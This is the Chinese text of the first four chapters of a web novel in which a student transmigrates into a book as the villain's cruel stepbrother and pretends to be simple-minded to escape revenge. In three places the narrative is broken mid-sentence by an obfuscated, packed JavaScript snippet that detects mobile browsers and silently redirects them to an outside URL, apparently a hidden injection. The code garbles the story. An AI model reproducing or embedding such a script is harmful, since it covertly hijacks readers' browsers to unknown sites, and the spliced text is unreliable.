《小傻子被偏执反派盯上后》 1. 穿书啦 陆眠还未睁开眼就觉得后脑传来一阵剧痛,应该是他被不遵守交通规则——骑摩托未佩戴头盔以及闯红灯的不明人士撞飞出去造成的。 他后脑着地,当场人事不省。 大难不死必有后福。 陆眠睫羽颤了颤,正欲挣扎着睁眼。 “公子……?” 耳边先是传来一道小心翼翼的试探,继而便是一连串此起彼伏的说话声。 “醒了!公子醒了!” “太好了,我们不用死了。” 陆眠脑瓜子嗡嗡,房内萦绕着的药味熏得头更疼了,他沉重的眼皮缓慢扫向一边。三个高矮不一,穿着古装的人出现在眼前,刚刚那‘此起彼伏’的声音就是从他们口中发出。 幻觉? 陆眠眨了眨眼,接连眨了几下看到的场景都没有变,其中一个打扮明显不同的少年上前,“陆兄?” “你、谁?”陆眠嗓音嘶哑透着股虚弱,抬手就准备搓眼睛。入目是一双白白嫩嫩,精致如玉的手。 他又举了举爪子,手也跟着晃动。 这是……他的手? 陆眠瞳孔微缩,却听方才那人道:“我!伍兴文啊!” ‘伍兴文’,仿佛一个关键词般被他捕捉。 这不是他曾经看过的一本小说里,出现过几次的小炮灰吗? 之所以能被他记住,还是因对方是书中一个与他同名同姓的大炮灰的小跟班,两人坏事做尽,最后都没什么好下场。 陆眠狠狠打了个哆嗦,什么意思? “我是谁?”他又问。 伍兴文脸上明显露出惊讶的神色,“陆兄这是…不记得了?你是前太傅之子,如今太常寺少卿继子,皇后娘娘的亲外甥。 “乃本公子,户部侍郎之嫡子——伍兴文之挚友!” 陆眠越听越感觉头脑发晕。 是真的,他车祸后真的大难不死,但…… 就这么水灵灵的穿书了! 穿的还是那个丧心病狂、不得好死的大炮灰! 之所以是炮灰,是因书里的‘陆眠’经常欺负他的继兄,也就是未来的反派大boss。 得罪了反派大boss,故而陆眠死的时候,被折磨得不成人形。最终双腿尽断,只能龟缩在臭气熏天的乞丐窝一隅,于一个冰冷的雪夜中活活冻死。 这就是原主的结局。 而现在,变成他的了! 他,陆眠。 一个普普通通的高三毕业生,准男大。 都说十七岁,正是闯的年纪。 但…… 也没人告诉他是这么个‘创’法啊! 穿书了,还没系统! 是谁偷走了他的系统! 别人穿书都是皇上、将军、摄政王,再不济也是皇子、公……公主就算了。 他——一个大炮灰,如此地狱的身份,还不如直接被摩托创死! 再者,退一万步讲,穿越大神难道就没错吗! 他肩不能扛、手不能提,为什么让他穿了进来! - 在书中,大反派陆凛前期是个小可怜,生母早亡,生父不闻不问,娶了续弦。 而后就是继母打压、继弟处处相逼,日日变着法地找他的麻烦,过得水深火热。 伍兴文就是跟在陆眠身边的打手,两人时常一起作弄对方。 反派没在沉默中爆发,但……他在沉默中变态了!!! 仕途一路高歌,登临首辅之位后便亲手送生父下大狱,手刃了继母,并对继弟展开了疯狂的报复。 陆眠抱紧自己。 会死的,真的会死的,大反派好可怕。 他一边想,脑袋后面又开始疼了。 “不会被撞傻了吧?”伍兴文在旁侧喃喃,于一个时辰前,几人在嬉闹时陆眠不小心摔了一跤,磕到脑袋昏了过去。 这时只听一声惊呼,一个小厮打扮的人上前,“公、公子,怎…怎么哭起来了!?”他们家公子不是自诩刚强,从不轻易落泪的吗! 后脑勺的疼痛让陆眠呲牙咧嘴,对方出口的一刹,他还以为自己少了一个重要部件。 陆眠尚未来得及查验自身,伍兴文振奋的声音就响了起来,“疼了?”就见他眼中爆射出精光,立马从袖子里掏出方才大夫走时留下的药丸,眼疾手快地往陆眠嘴里一塞。 霎时间,陆眠眼泪愈发汹涌。 这药丸怎么…… 比他未来的命还苦! “怎么回事?”伍兴文见他哭得更加凶,眼中的光芒淡了淡,立时着急起来,“快!再去把大夫重新请回来!” 两个小厮闻言忙不迭跑出去。 脚底恨不得抹油,公子若出了事,他们两小命不保! 陆眠一边哭一边喊,“水!水!” 伍兴文倒了杯水过来,“水来了!” 陆眠咕噜噜灌水,嘴里的苦涩被冲淡些许,还尝到了点咸。 是他的眼泪。 陆眠还在哭。 是疼的。 当然,也有苦的。 他天生疼痛神经便比常人敏感些,自然而然便造就了格外发达的泪腺——绝不是因为他爱哭! 此时此刻,后脑勺的剧痛阵阵袭来,陆眠只想再给自己这破后脑勺再来一下,让这泪腺看看到底谁才是这副身体的主人。 该死的眼泪,给我停下来! 结果眼泪非但没停,反而再次汹涌起来。 伍兴文尚算俊秀的五官露出好奇的神色,他把一块手帕递过去。 不多时,两个小厮折回。一人提药箱,一人搀着名老者,“大夫来了,大夫来了!你快给我们家公子再看看,缘何哭个不停呢?” 老大夫头发花白,手掌粗糙皱巴,裹着一层厚厚的老茧显得黝黑发亮,张嘴时牙齿泛着深黄,“小公子,烦请将左手伸出,老夫这便为您诊脉。” 陆眠还未动作,伍兴文就已抓着他的手往前递了过去,如递自己的一样自然,“大夫你可瞧仔细了,他方才还问自己是谁,莫非那一下真把脑袋给撞坏了?” 闻言,陆眠氤氲着水汽的眸光闪了闪。原来这副身体也和他一样磕到了脑子啊,想来原主应该是就这么没了,再次醒来则变成了他。 “伤口有些深,怕是瘀血阻滞……” 老大夫为他把了脉,又伸出手掰着他的脑袋查看,随即往桌边行去,“我学艺不精,只能为小公子再多开一副药。” 伍兴文在床沿落座,“陆兄,你当真记不得了?这可怎生是好……” 没等陆眠开口,伍兴文已然断定他脑子被撞坏了,絮絮叨叨说了一通,试图唤起他的记忆,“你可知我二人今日出来做什么的? “对,陆凛那家伙竟不知走了什么运进了见月书院,你我约定今日在他散学后把人绑了,套上麻袋……嗯?不若将你今日磕到一事推到他头上,届时陆大人定然会家法处置,而后……” ‘见月书院’、‘套麻袋’、‘家法处置’等等关键词,陆眠听罢呼吸都凝滞了,只因他太熟悉了,这些都曾是书中切切实实发生过的! 眼下陆眠已然能够确定,他穿过来的这个时间点,正是原主欺负反派最狠的时候! 陆眠两眼一黑。 “啊!大夫!他眼睛翻白了!”伍兴文说得兴起,欲将所有罪责通通都推到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782385|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆凛头上。如此一来,陆眠摔跤一事他们谁都不用负责了,否则待他回去父亲定要压着他去陆府请罪。 陆眠翻白眼之际,外间一人匆匆跑来,“陆少爷,伍少爷,书院那边散学了,我们的人也尽数到齐!” 伍兴文往那边瞥了眼,又迅速转回来,他现在可顾不上其他。 反而是陆眠听到这动静,黑色的眼珠子慢慢滑了下来,乌黑的眸子往来人盯去。那人被他盯得愣怔,不知是不是陆少爷不满意自己的动作太慢,遂低下了头。 伍兴文眼珠一转,“陆兄你这是……还记得我们要去整陆凛啊!走走走,我扶你,你再多看看没准就能想起来了。” 陆眠醒来后的种种表现,加之老大夫的诊断,此刻他已断定陆眠是被撞坏了头,说不定待会见了陆凛的惨状,他能记起来更多。 思索间,伍兴文指挥着陆眠的两个小厮一道把人架起来,方才前来报信的那人见状早已跑出去准备了。 陆眠轻抿着苍白的唇被搀着往外走,楼下是酒楼大堂,几人一路出去。他眼神飘忽,目光掠过街道上奔过的马车,一颗心蠢蠢欲动。 他去撞一撞,说不定能回去。 然而风险很大。 万一没回去就亏大了,搞不好半身不遂…… 可要他完全接受现状,陆眠又担心自己脑子不够用。 他根本就不是原主,传说中的穿书后记忆共享也并没有发生,风险几乎成倍增长。暴露后没准会被当成妖怪抓起来烧死,活不活得过三集还两说。 就算活过了三集,后面还有反派大boss等着报复他。 陆眠只觉自己的人生一眼能望到头。 要是能和反派握手言和就好了。 思及此,陆眠忽地想到什么。 陆凛似乎……对毫无威胁性的东西根本没有抵抗力,就如同这本书的主角受一样。 虽然他不是东西,陆眠一时也没意识到这话有什么不对。他想着自己性格或许跟阳光明媚的主角受差别很大,但他可以装啊! 事到如今。 唯有迎男而上! - 陆眠回过神时,已经被架着走到了对街的暗巷中。 今日之事是伍兴文和‘陆眠’共同商量出来的,两人为方便行事,选了距见月书院最近的一家酒楼。只不过中间出了点岔子,‘陆眠’变成了他。 “人呢。”伍兴文皱眉。 话落,只听巷子尽头传来些许窸窣声响,他倏地咧嘴一笑,陆眠下意识往旁边退。 “陆兄,你怎么还打晃了。”伍兴文一把抓住‘摇晃’的他。 陆眠看了看他,嘴张了又闭,思绪在脑海中转了数个来回,煞有介事:“是你的邪魅之气扫到我了。” 伍兴文满脸茫然:“什么?”他为何突然就听不懂了。 与此同时,一道惨嚎声传来,旋即是拳脚轰击到肉的声音。 陆眠被抓着胳膊往里走。 就见巷子左转还有一条小道,两边的墙壁细粉早已脱落,爬满青苔。三两人或靠或坐在其中,各自皆捂着身体的手臂、小腿等处,十分狼狈。 在他们对面,一名身形修长,看起来却格外单薄的少年被两个更为年长的擒住。他唇角染了丝血,颧骨处有些淤青,眉眼尤为锋锐,似藏了丝幽光,犹如一匹饿狠了的狼,随时准备撕咬住攀扯上来的敌人。 仅一瞬,陆眠便对上了他的目光。 狼一样凶戾的眼神朝他侵袭。 陆眠有种无所遁形的感觉,好像全身上下都被这道目光‘撕咬’了一遍,浑身发痛发麻。 这就是反派大boss。 陆凛。 2. 昏古七 被两个趋近成年的男人扣住,陆凛额角青筋微微凸起,气息发沉,愈显锋锐。尽管常年吃不饱穿不暖,然那双掩盖在靛青长衫下的臂膀却紧实有力,此刻他暗暗绷起双腿,随时准备反抗。 他眸光牢牢锁定在前方的少年身上。 对方肤色极白,额前缠了一圈纱布,一张如玉的面颊更添几分病色。卷而浓密的长睫微敛,偶尔抬起的双眸乌黑发亮,流转间格外潋滟。 仅一眼只觉此人纯稚天然。 但,这个人内里却是黑透了的。 心肝脾肺肾皆脏臭不可闻。 自入住陆府的那天起,陆眠便无所不用其极地将他推入绝望的深渊,高高在上地俯视着他,乐于从他脸上看到屈辱的神色,甚至妄图有朝一日让他臣服于他。 在‘陆眠’心中。 区区一个陆凛,根本就不配当他的兄长。 陆眠直直望向被扣着的人,硬是在那人眼中看出了扇形统计图。 三分仇恨、三分愤怒以及三分嗜血,还有三分冰冷,加在一起,便是十二分的厌恶。 没想到自己穿越还觉醒了这种技能的陆眠僵了僵,秉承死道友不死贫道的初心,他老实地往伍兴文身后缩去,只余半边身子露在外面。 天塌了,有伍兴文顶着。 陆凛望着他动作,无端竟从那张白净的脸上看出一丝怯懦。 怯懦?陆眠? 他眼底闪过一抹讽笑。 又准备玩什么花样。 被反派直勾勾的目光盯视,陆眠一声不吭。 躲在伍兴文后方,开始装死。 伍兴文还是头一次被陆眠如此对待,心中油然生出一股豪气,腰背挺得笔直,嘴角也不自觉微微上扬,“还没认清自己吗?” 他轻蔑地扫向陆凛,鼻孔朝天,“你以为你在同谁做对?” 身后,陆眠瞳孔地震。 这个伍兴文! 这么跟反派说话,不要命啦! 陆眠如今不记事了,做主的自然就成了伍兴文,他觉得自己现在强得可怕。 “怎么不说话,”伍兴文和撩起眼帘的陆凛对视,“害怕了?” 他幽幽继续:“明日,你在季老先生那里言明自己行止不端,自请退出见月书院,以后我便不再针对你。” 自己不针对,陆眠可以针对。 陆凛扯了下嘴角,眼底覆着一层寒霜,如同在看一个死物,看得陆眠一阵心惊胆战。 伍兴文:“你即便不说也无妨,今日之后,你不会有什么好下场的。瞧见陆眠额上这伤没有?稍后我等便同陆大人说,这伤是因你而起…… “你猜,陆大人会如何待你?” 他将自己的打算一一道出,试图从陆凛脸上看出一丝不同寻常的反应。 然这次亦与以往一样,他什么也没看出来。 陆眠倒是看出来了。 原来小说里,反派死于话多的定律是真的。 见陆凛毫无反应,伍兴文不禁有些气恼,朝对面一抬手,“来啊,把他绑了。” 那二人听令便要行事,忽在这时闻得一声。 “啊,我的头好痛。”长脑子了,陆眠急中生智打断了伍兴文的动作后直接闭眼。 正觉得自己想出了个绝妙的好主意的伍兴文还在得意,乍然闻见这声,猛地转头,“又疼了?怎会……先前不是吃了药?” 旁边的两个小厮即刻上前,“公子!” 一时之间,所有人都停下动作去看陆眠。 陆眠顿时有种想要抱头蹲下的感觉。 别看他啊都别看他! 第一次当傻子。 他也不会啊。 “我想回家。”陆眠说得真心实意。 话落,几人架着他就要走,身后得了吩咐的侍从相互看了眼,视线继而重又落到陆凛身上,掏出绳索准备绑人。 眼睛悄咪咪睁开一条缝的陆眠透过跟前望向对面,差点没再次抱头,怎么还绑啊。 伍兴文见他忽地便不动弹了,还当陆眠疼晕了,定睛却见他转着眼珠正往陆凛那边瞧,伍兴文心念一动,“先别绑,把人带过来。” 说话间,陆凛被押解着上前,一语不发,只眼神死死盯着他和陆眠两人,眸底隐现血丝。 伍兴文不以为意地哼笑了声,冷道:“带上,回陆府。” 说着,他目光灼灼扫向陆眠,果不其然见到对方表情起了点变化,伍兴文一喜,“如何?陆兄可是想起了什么?” 方才他见陆眠偷眼觑向陆凛,以为陆眠识得对方,“陆兄,你还认得陆凛对吗?”说罢伍兴文拧了拧眉头,心中涌出一股莫名不适,怎连他都不记得却还识得陆凛的…… 陆眠眨了下眼,看他。 伍兴文亦回视过去,对视一瞬,他突然轻松道:“我见你看他眼神不对,还当你认出他了。” 陆眠没想到连原书中的小炮灰都这么敏锐,只是一个眼神而已……思及此,他不由无比庆幸自己做出的决定,看来现在不止要继续装,还得让所有人都认为他是真的傻了。 两人对视几秒,陆眠倏地抬手糊了他一脸。 伍兴文猝不及防往后仰去,接着便见面前的人冲着他笑,苍白的脸上乍然露出的笑容分外灿烂,他迟疑:“陆……兄?” 陆眠:“嘿嘿。”末了,又给了他一拳。 让这人瞎猜。 他明明谁都不认识! “啊——”巷子里传出一声高昂的惨叫。 - 小半个时辰后,一行人回到陆家。 伍兴文捂着半边眼睛,看着无须人扶,呲溜便梭下马车的人,禁不住呲了呲牙。 怎么笑着笑着就开始打他了啊,这还是陆兄首次冲他笑得……如此好看。 伍兴文神情还有些恍惚。 陆府的府门前此刻立着一行人,为首的是提前收到门房通秉等候着的陆父陆宏志,以及夫人陶氏。 女人眼神牢牢锁定在马车上,待看清下车的人瞥见后者额间的白纱,顿时美目含泪,顾不得其他,匆匆走下台阶。 方才马车上陆眠还在忐忑自己接下来就要见到原主母亲和反派的父亲,等马车停下的刹那,他的心也跟着停跳了一拍。想着反正伸头一刀缩头也是一刀,还不如早点死去,这一路上伍兴文看他的眼神无端透着股幽怨,怪慎人的。 结果他才刚下马车,迎面一阵香风扑来,一名容貌颇为艳丽的女子上前将他抱了个满怀,“我的儿!” 脑袋昏昏的陆眠登时虎躯一震,这应该就是原主的母亲,反派的继母,陶柔绚了。 而他面前的人云髻堆翠,眉如远黛,肤如凝脂,分毫看不出已经是一个十七岁孩子的母亲。只是当那双含着慈爱、疼惜的眼朝他落来时,才让陆眠有了实感。 只是他从未感受过这样的……来自母亲的爱。 陆眠神情怔怔,陶柔绚抬指捧着他的脸,“怎的如此严重,疼不疼……” 落后一步从马车上下来的伍兴文先是朝着后方的陆宏志一揖礼,而后上前,“陆夫人,大夫说陆兄他脑中瘀血阻滞,如今恐有许多事记不得了……” 陶柔绚脸上露出怔忡的表情,俨然一时无法接受这个消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782386|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深受打击的模样,“你说,我的眠眠他……失忆了?” 伍兴文犹豫着点头,其实不只是失忆,似乎……还有点失智。 不过他现在什么也没说。 “眠眠,我是娘亲啊,”陶柔绚神情哀凄,颤着唇涩声道,“怎么这么不小心,娘不是让你外出莫要淘气,为何会、” 女人哽咽着发出的声音令人不忍,陆眠抿了抿唇,脑中蓦然想起曾经听到过的一句鸡汤。 世间唯有真情不可辜负。 他不想骗对方。 原主其实已经死了。 这时,伍兴文的声音骤然传来,“此事不能怪陆兄,陆兄并未淘…嗯,气。我二人今日本是相约出城游玩,途中……回程时我等打算前往见月书院…… “距见月书院不远,陆兄与我玩心大起,追赶起来,只是待我找到陆兄时他头染鲜血地倒在地上,我便急急忙忙带着他去医馆找大夫。” 说到这里,伍兴文一个大喘气,接上最后一句,“都是陆凛!” 此话一出,瞬间引得众人视线朝他汇聚过去,陆眠虎躯一震。 这个伍兴文!卒章显志是吧?说了半天重点还是针对陆凛。 正在这时,后面那辆马车上,陆凛也下来了。 一声暴呵响起,“孽子!” 陆宏志身着常服,腰间玉带,容色肃穆颇具几分书香气。然他甫一开口,通身气质大变,脸上带起嫌恶之色,十分看不上这个原配所出的长子。 陆凛抬眼,漆黑眸底黑压压朝陆宏志望去。 相差不大的年纪,比起陆眠偏向柔和的五官,陆凛介于少年与青年之间的眉宇则更显凌厉,充满攻击性。看着这张与亡妻愈发相似的面容,他皱眉,“你今日都干了什么混账事?” 话落,他丝毫没有要给陆凛开口的机会继续:“原以为你得了季老先生青眼入了见月书院便能学好,不承想竟如此不成器!说,为何把弟弟弄成这般!?” 陆宏志不问缘由,却是直接信了伍兴文的说辞。 陆眠呼吸凝滞,僵硬转头,正对上陆凛朝他撇来的视线。 有那么一瞬间,陆眠回忆起书中的片段。 【男人手背青筋暴起,有力的指节微一用力,旋即是骨头碎裂的声响传来,他掐着掌中人的下巴,迫使对方抬头。下一秒,陆眠再也发不出任何声音,双腿被废和下巴被卸的疼痛侵袭了他的大脑,惧意弥漫全身。 他从来都不知道,陆凛有如此凶狠的一面,巨大的恐慌让陆眠喘不过气,他两眼一翻昏死过去。】 与此同时,陆眠眼皮向下一耷,也跟着一昏。 - 陆眠再次醒过来时,他正躺在如棉絮般轻盈绵软的床榻上,鹅黄色的床幔层叠坠落,雕花镂空的床柱掩在其后。 他死了吗。 被反派整死了…… 陆眠脑袋发晕地撑着手准备坐起,透过窗户往外看到天黑了。 嗯,他暂时还没死。 这时,外间传来两道低低的谈话声。 “亏得伍公子有主意将过错推给了大公子,否则我们今日定没好果子吃……” “是啊,老爷连大公子都毫不手软地惩治了,换成我们,肯定要丢半条命。” “错,是死得透透。你没见老爷抽了大公子鞭子还让他跪在祠堂吗?一夜下去,不死也丢半条命啊。” 大公子尚且如此,换作是他们,必死无疑。 窃窃私语中带着唏嘘,陆眠一字不落地听入了耳中,他双目发飘。 哦,原来不是天黑了。 是天塌了啊。 3. 抽象啦 陆眠眼前一黑又一黑,接着猛地倒了回去,整个人陷入柔软的被褥中埋起来,高悬的那颗心终究还是死了。 且因着倒回来的这一下,他的头更疼了,眼睛蓦然朦胧起来。 他原本不打算按照原剧情再得罪反派,两人今后各自相安无事最好,然而伍兴文的那番话彻底让他把人得罪死了。 纵然并非他指使,但他既占了原主的身份,陆凛显然会将之算在他头上。 陆眠脑袋空空。 看过原著的他知道,陆凛的心理自母亲逝世,父亲不闻不问后就在周围人的迫害下慢慢扭曲了,行事手段更是一等一的狠辣果决。 旁人让他不好过,他让旁人没得过。 这下子,陆凛要恨死他了! “呜……”被褥下冒出一颗毛绒绒的脑袋,陆眠钻出来,眼尾染着抹嫣红,眸底还泛着丝疼出来的泪花。 他现在去祠堂把陆凛打一顿吧。 不然就这么被陆凛恨上,他多冤啊! 好歹把罪名坐实了。 不过陆眠打量了下自己的身板,觉得他可能打不过对方。 再者,他是二十一世纪五好学生,晚睡晚起,不打架不斗殴,做不出来那些违法乱纪的事。 外间声音渐歇,不多时,行礼声传来,旋即珠帘轻晃。轻而缓的脚步声靠近,女人低低唤了声,“眠眠,醒了?” 陆眠对上陶柔绚看来的温柔目光,嘴唇翕动。 喊‘娘’吗? 声音半天发不出。 可能和他的家教有关吧,对着一个刚见第二面的人,陆眠喊不出口。 陶柔绚目光炯炯,心中隐现期待。方才她亦请了大夫来看,对方言儿子脑中瘀血无法排出,恐对记忆有损。 但她仍是抱有一丝期待。 母子二人四目相对,陆眠战术后仰,到了嘴边的‘娘’字转了个弯,“陆、凛。” 满怀期待的陶柔绚愣住,“眠、眠,你说什么?” 陆眠动唇,“陆凛。” 陶柔绚听到他又说了一遍,定了定神,道:“他已经得到了应有的惩罚。眠眠……还认得娘亲吗?”对于现任夫君原配留下的大儿子,陶柔绚从未看在眼里。 甚至于,连陆宏志她都颇看不上。 方才进门前两个小厮的谈话陶柔绚都听见了,然她并未想过追究,即便不是陆凛,可她儿子成了这副模样,总要有人承担她的怒火。 而陆凛正好撞了上来。 陆眠没回答她的话,只是机械性重复,“陆凛。” 陶柔绚顿住,瞧着儿子呆滞而空洞的表情,她心下一痛,对着外面道:“去,把大公子请过来。” - 祠堂阴暗潮湿,烟尘直往人肺腑里钻,陆凛直挺挺地跪在冰冷的地面上,腰背笔直。身上绽开的皮肉粘连着被长鞭倒刺划破的衣料,时刻传来钻心的痛,他低眼,盯视那破布掩盖下的皮肉,垂在身侧的指节微动,欲将之掰开、扯碎。 把那一块块皮肉抠烂。 脑海中呈现着预想出来的血肉模糊的场面,陆凛手已抬至前胸。 即此时,祠堂外传来一串匆匆的脚步声,“大公子,还请大公子随奴婢走一趟。” 来人是陶柔绚身边的大丫鬟柳絮,神情淡淡,不热络也未太过轻慢。她曾在宫中任职,后被皇后娘娘委派至自家姊妹身边,深谙下人间的处世之道,做事留三分。 纵使眼前的这位大公子爹不疼娘不爱,但在这样的情况下还能被季老先生看中,想来也是有过人之处的。 最近她同样提议着让夫人收敛些,奈何小公子对这大公子颇不待见,夫人自是看对方不顺。 陆凛眉眼下压,干涩的嗓子里犹如火烧般,“敢问,有何事?” 陆府吃人不吐骨头,随便一个扫洒下人都能够将他任意驱使,因而陆凛问的同时,已支着手撑起身子站直了,随时准备同他出去。 这个时候,反抗是最不明智的选择。 柳絮多看了他几眼,答:“夫人找。” 话落,她在前引路。 陆凛跟随一道,出了祠堂,行过抄手游廊,绕开环绕的假山,来到一处堪称富丽的奢华小院。 这里是……陆眠的住处。 进门前,柳絮瞥了瞥他身上的血迹,想到小公子眼下的情况,“烦请大公子换身衣裳再进去。” 少顷,陆凛换了身干净衣物走进房间,屋中燃着熏香。琳琅满目的摆设无不精致,家具皆是名贵上品,汝窑瓷器陈列一排,博古架上一颗颗天价玉石在夜明珠的映照下散发着莹莹白光,将屋内照得如同白昼。 “夫人,大公子来了。”柳絮掀开帘子。 陶柔绚听着儿子口中一口一个‘陆凛’,猜测着对方是不是想起什么了。便是想不起来,但凭这一个名字,也算有了点反应。 陆眠被她寸步不离地守着,背上汗都要下来了。 原来傻子也不是那么好装的,他以前看的那些穿越小说全都是骗人的。 小说里主角穿书自带金手指,预知后事,大杀四方。当时看小说的陆眠爽了,眼睛和脑子学会了,如今实操……直接废了。 随着柳絮的声音响起,待看清那道颀长挺拔的人影时,陆眠眸光骤然一亮。 陆凛! 甫一踏入里间,陆凛便对上一双明亮而璀璨的眸子,那双眼底清澈澄明,让他想到方才进门时扫到的那些夜明珠。 这样好看的一双眼睛,却生在一个废物草包身上,陆凛心中哂道。 少年清越的嗓音穿透耳膜,蓦地响在他耳边。 “陆凛!” 陆眠眼神灼灼。 是他救了人,他让原主母亲把人从祠堂里捞了出来。 这次我救了你,你以后可不能害我了,陆眠在心里暗暗想道。 乌黑的眼眸水润润地望向自己,仿佛会说话一般,似在这一刻诉说了千言万语,陆凛沉目。 陶柔绚看到陆眠格外不同的反应,暗自思索,眸光流转落向陆凛,“你过来。” 略显冷淡的嗓音响起,陆凛依言走近,睫羽低敛,看不清他眸底的神色。 陆眠呆呆看着靠近的陆凛,暗中观察。 原来近看反派长这样。 “眠眠,认得他?”陶柔绚转眼望向陆眠,声线变得温和。 陆眠开始耳目双休,听不见、看不见。 他现在就是个小傻子,他什么也听不懂。 陆凛沉默地看着跟前的母子二人。 随着他的走近,他身上并未处理的伤处正徐徐飘荡着血气,往床榻间的两人涌去,血腥味令人不适。 陶柔绚柳眉轻蹙,她看着忽然开始玩起手指的儿子,心里有些刺痛,怎么会没用? “眠眠,你看,他是谁?”陶柔绚试图唤起儿子的注意。 陆眠埋首,抠指头。 人都救出来了,剩下的就不用他操心了。 陶柔绚眉头越拧越紧。 陆凛看出了什么,却并未开口多说一句,只安静立在那里,仿似一个透明人。 “眠眠?”陶柔绚又唤几声。 陆眠忍着回话的冲动,看到食指上有一个小小的倒刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782387|145806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他拨了拨,把手收了回来,也不敢动手拔。 他怕万一动手了,这个倒刺皮直接撕到小臂上。 网速超快的陆眠也是看过那张让人见之头皮发麻的图片的。 自从看见那张图后,他就再也没有拔过倒刺。 陆眠露出个和善的笑,摸了摸小倒刺,我们和平相处哦。 忽地,耳边的声音打断了陆眠和小倒刺的‘和平相处’。 眼前的场面让他感到了核平。 只听陶柔绚对着柳絮下令:“把大公子带回祠堂。” 陆眠猛然间回过神来。 柳絮已经带着陆凛往外走去,后者安之若素,像是一个被召之即来,挥之即去的小可怜。 一瞬间,陆眠好像看到了自己的悲惨未来。 他吸了口气,突然喊了声,“陆凛!” 少年双颊鼓鼓,似乎只知道这两个字。 门边的陆凛止步,陶柔绚脸上刚准备露出点笑,一转头,就见陆眠对着床柱子拍了拍,“陆凛,嘿。” 陆凛本凛:“……” 陶柔绚震住。 陆眠又偏头,对着她笑得乖巧,张嘴,“陆凛,啊——”他发挥出上课走神被叫起来还要装作自然的模样,被子下的腿却下意识抖了抖。 陶柔绚眼神倏然哀伤起来,但又很快振作,总归是会说别的了。末了,她拂了拂袖摆,柳絮便停了动作。 外面传出小厮的说话声,“夫人,老爷……” 陶柔绚神情淡了点,她伸手理了理儿子的鬓发,“娘亲去去就回。”说罢朝柳絮看了眼,接着起身带上其他人离开,大夫说了,要让儿子静养。 房间里很快只剩陆眠、陆凛、柳絮三人,气氛一时有些安静,‘咕噜’声就显得尤其明显。 “小公子可是饿了?奴婢这便令人传膳。”离开前,柳絮瞥了瞥陆凛,并不担心对方会做什么。这位大公子是有主意的,应该不会做对自己不利的事。 陆眠看了眼自己发出声音的肚子,似没听到般,对着肚子摸摸,“陆凛饿了。” 柳絮快步朝外走去。 说是静养,陆眠身边那两个小厮就在院中的耳房,随时等待差遣,故而她很快就能回来。 - 柳絮一走,房间里只剩陆眠,还有站在房间中央的陆凛。 隔着一段距离,陆眠无端觉得空气都变得稀薄了。 这就是传说中的气场吗。 他正胡思乱想着,跟前一道阴影覆下,陆眠一怔,抬头。 陆凛竟走到了他的床榻前,居高临下地朝他俯视。 陆眠呼吸都凝了凝。 “又在玩什么?”低浅的话音,不含一丝威胁,却莫名让人骨头缝里透出寒意,一字一句落在陆眠耳边,“真的傻了?” 陆眠像是被人掐住了脖子,脸都要憋红了。 不会吧……不会真的被看出来了吧。 反派有这么聪明? 下一秒,陆眠开始胡言乱语,“你别管!我有自己的计划!” “出家人不打诳语!没说不能打你!” “我的名字叫小酷,打小爱穿背带裤,从背带再到酷!天下第一我最酷!” “……” “哥哥开门!我是嫂子!” 陆眠一边抠地,一边偷瞄陆凛,见对方什么也没说,只是静静地望着他。 他偷偷在心里‘呜’了声,正准备给他来个超级加辈,一个‘爸’字正要出口。 “小公子如今受不得刺激,都机灵着点伺候。” 门外,柳絮回来了。 4. 咬人啦 悄悄叫了声‘哥哥’的陆眠把后续准备出口的话头往肚子里一咽,收回了他的超级加辈,同时也松了口气,解放了被褥下微蜷的脚趾。 差一点。 差点就让陆凛占到大便宜了。 陆眠默默撇开头,盯着进门的柳絮,宛若看到了救星。 他嘴一张,“饿死了饿死了!” 柳絮眼神闪烁几息,带着一丝喜色,小公子状态似乎不错,这句话难得没带‘陆凛’。 想罢,她不由看了看床边立着的人,心下思索了瞬。 “夫人怎把陆凛带去了眠眠那?”正院,陆宏志关切地上前,伸手欲执起陶柔绚的手。 陶柔绚不动声色地抽了抽手,“眠眠正是爱热闹的年纪,需要人陪。” 陆宏志垂下拉空的手掌,儒雅的面庞上不见端倪,“夫人说的是,眠眠怎么样了?” 听他说起儿子,陶柔绚神色微变,“不太好。” 陆宏志皱眉,“明日下朝,我亲去太医院请太医来看看。” “不必,”陶柔绚,“明日我打算入宫一趟。” 见她这么说,陆宏志便不再多提,继而问起陆眠的情况。 陶柔绚浮现愁容,及至此时她也不得不承认,儿子似乎……不止是失忆。 她喃喃:“好像……”还有些痴傻。 对着空气、床柱喊人,陶柔绚从未见过有哪个正常人这般。 正当时,一人匆匆而来,“老爷,夫人。” 陶柔绚颦眉,看向进门的柳絮,“怎么过来了?不是让你看着公子?” 